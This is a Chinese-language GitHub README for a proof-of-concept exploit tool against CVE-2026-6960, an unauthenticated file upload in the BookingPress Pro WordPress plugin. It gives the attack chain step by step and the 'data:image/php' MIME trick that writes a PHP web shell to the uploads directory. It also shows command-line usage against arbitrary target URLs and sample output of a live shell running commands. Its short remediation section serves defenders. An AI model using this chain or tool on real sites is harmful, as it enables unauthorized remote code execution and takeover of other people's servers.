xxconi/CVE-2026-6960
GitHub: xxconi/CVE-2026-6960
此项目是针对 BookingPress Pro 插件低版本的未认证任意文件上传漏洞的检测与利用工具。
Stars: 0 | Forks: 0
# CVE-2026-6960 — BookingPress Pro ≤ 5.6 | 未认证任意文件上传






## 概述
在 **BookingPress Pro** WordPress 插件(版本 ≤ 5.6)中发现了一个严重的未认证任意文件上传漏洞。预约提交处理器 `bookingpress_book_appointment_booking` 将签名自定义字段值作为 **data URI** 处理。该插件通过正则表达式从 URI 的 MIME 类型部分提取文件扩展名,并将其直接传递给 `file_put_contents()` — 不进行任何扩展名白名单或黑名单检查。这使得攻击者能够将 PHP web shell 写入 web 可访问目录,从而实现 **远程代码执行(RCE)**。
| 属性 | 详情 |
|------------------|-----------------------------------------------------------------|
| **插件** | BookingPress Pro (bookingpress-appointment-booking-pro) |
| **受影响版本** | ≤ 5.6 |
| **修复版本** | 5.7 |
| **攻击向量** | 网络 / 未认证 |
| **AJAX 动作** | `bookingpress_book_appointment_booking` |
| **根本原因** | 从攻击者控制的 data URI 的 MIME 类型中提取扩展名 → `file_put_contents()`,无白名单 |
| **CWE** | CWE-434:危险类型文件的上传不受限制 |
## 前置条件
- ✅ 站点管理员必须在 BookingPress 预约表单中配置一个**签名类型自定义字段**
- ✅ 必须至少有一个**活跃服务**存在(以生成有效时间段)
- ✅ 包含 **BookingPress 预约表单**小部件的页面必须公开可访问
运行 ≤ 5.6 **且未配置签名自定义字段**的站点**无法通过此向量利用**。
## 攻击流程
```
1. GET /booking-page/
└─ Extract _wpnonce from page source
2. POST /wp-admin/admin-ajax.php action=bookingpress_fetch_timeslot_data
└─ Obtain server-side timeslot transient key
3. POST /wp-admin/admin-ajax.php action=bookingpress_pre_booking_verify_details
└─ Obtain pre-booking verification token
4. POST /wp-admin/admin-ajax.php action=bookingpress_book_appointment_booking
└─ bookingpress_signature_field = "data:image/php;base64,"
└─ Plugin extracts "php" from MIME type → file_put_contents("shell.php", ...)
5. GET /wp-content/uploads/bookingpress/shell.php?cmd=id
└─ RCE confirmed
```
## 根本原因详解
受影响代码路径将签名字段值作为 data URI 处理:
```
data:image/{ext};base64,{base64_encoded_content}
```
BookingPress 通过正则匹配从 MIME 类型中提取 `{ext}`,然后使用 `file_put_contents()` 将解码后的内容写入磁盘,并将该扩展名附加到文件名后 — **未进行任何白名单检查**。提供 `image/php` 作为 MIME 类型会导致 `.php` 文件被写入上传目录。
这与标准的 multipart 文件上传有本质区别 — 载荷嵌入在 **JSON 请求体字段**中,而非文件上传部分。
## 依赖
```
pip install requests
```
## 用法
```
# Basic — 主页上的预订表单,服务 ID 1
python3 poc.py -u https://target.com
# 特定页面上的预订表单
python3 poc.py -u https://target.com --booking-page /appointments/
# 自定义 service ID 和 shell 文件名
python3 poc.py -u https://target.com -s 3 -f evil.php
# 跳过 SSL 验证
python3 poc.py -u https://target.com --no-verify
```
### 参数
| 标志 | 描述 | 默认值 |
|----------------------|---------------------------------------------------|-------------|
| `-u`, `--url` | 目标 WordPress URL | *(必需)* |
| `-bp`, `--booking-page` | 包含 BookingPress 表单的页面路径 | `/` |
| `-s`, `--service-id` | BookingPress 服务 ID | `1` |
| `-f`, `--filename` | Shell 文件名(扩展名注入到 data URI 的 MIME 中) | `shell.php` |
| `--no-verify` | 禁用 SSL 证书验证 | `false` |
### 示例输出
```
[!] PRECONDITION: This exploit requires a signature-type custom field
to be configured in the BookingPress booking form by the site admin.
[*] Step 1/3 — Fetching _wpnonce from: https://target.com/appointments/
[+] _wpnonce found: 9f1c3a72bd
[*] Step 2/3 — Fetching timeslot transient...
[+] Timeslot transient: bp_ts_a1b2c3d4
[*] Step 3/3 — Fetching pre-booking verification token...
[+] Verification token: bp_vt_e5f6g7h8
[*] Uploading shell via data URI method...
[*] Extension injected into MIME type: image/php
[+] Upload response (HTTP 200): {"success":true,...}
[✓] Shell is LIVE!
Output of 'id': uid=33(www-data) gid=33(www-data)
[→] Shell access: https://target.com/wp-content/uploads/bookingpress/shell.php?cmd=
```
## 修复建议
1. **对 data URI 的 MIME 类型进行严格白名单验证**(允许 `image/png`、`image/jpeg`、`image/svg+xml`),之后再提取扩展名
2. **绝不从攻击者控制的输入中推导文件扩展名** — 生成随机文件名并硬编码安全扩展名
3. 使用 WordPress 原生函数 `wp_check_filetype_and_ext()` 进行所有文件类型验证
4. 考虑将签名文件**存储在 web 根目录之外**,以防止直接执行
**→ 立即更新至 BookingPress Pro 5.7。**
## 更新日志
### v2 (2026-05-23) — 技术更正
| # | 问题 | v1 (错误) | v2 (已更正) |
|---|------|-----------|-------------|
| 1 | AJAX 动作 | `bookingpress_validate_submitted_booking_form` | `bookingpress_book_appointment_booking` |
| 2 | 载荷方法 | 使用 `image/png` 的 Multipart 文件上传 | Data URI: `data:image/{ext};base64,...` |
| 3 | 利用流程 | 直接未认证 POST | 3 步前置条件链(nonce → transient → token) |
| 4 | 前置条件 | 未记录 | 必须配置签名自定义字段 |
## 免责声明
标签:BookingPress Pro, CISA项目, CVE-2026-6960, CWE-434, OpenVAS, PHP, Web shell, WordPress插件漏洞, 事件响应, 任意文件上传, 提权, 数据URI, 文件上传绕过, 无认证, 服务器端攻击, 未认证漏洞, 编程工具, 远程代码执行, 逆向工具, 高危漏洞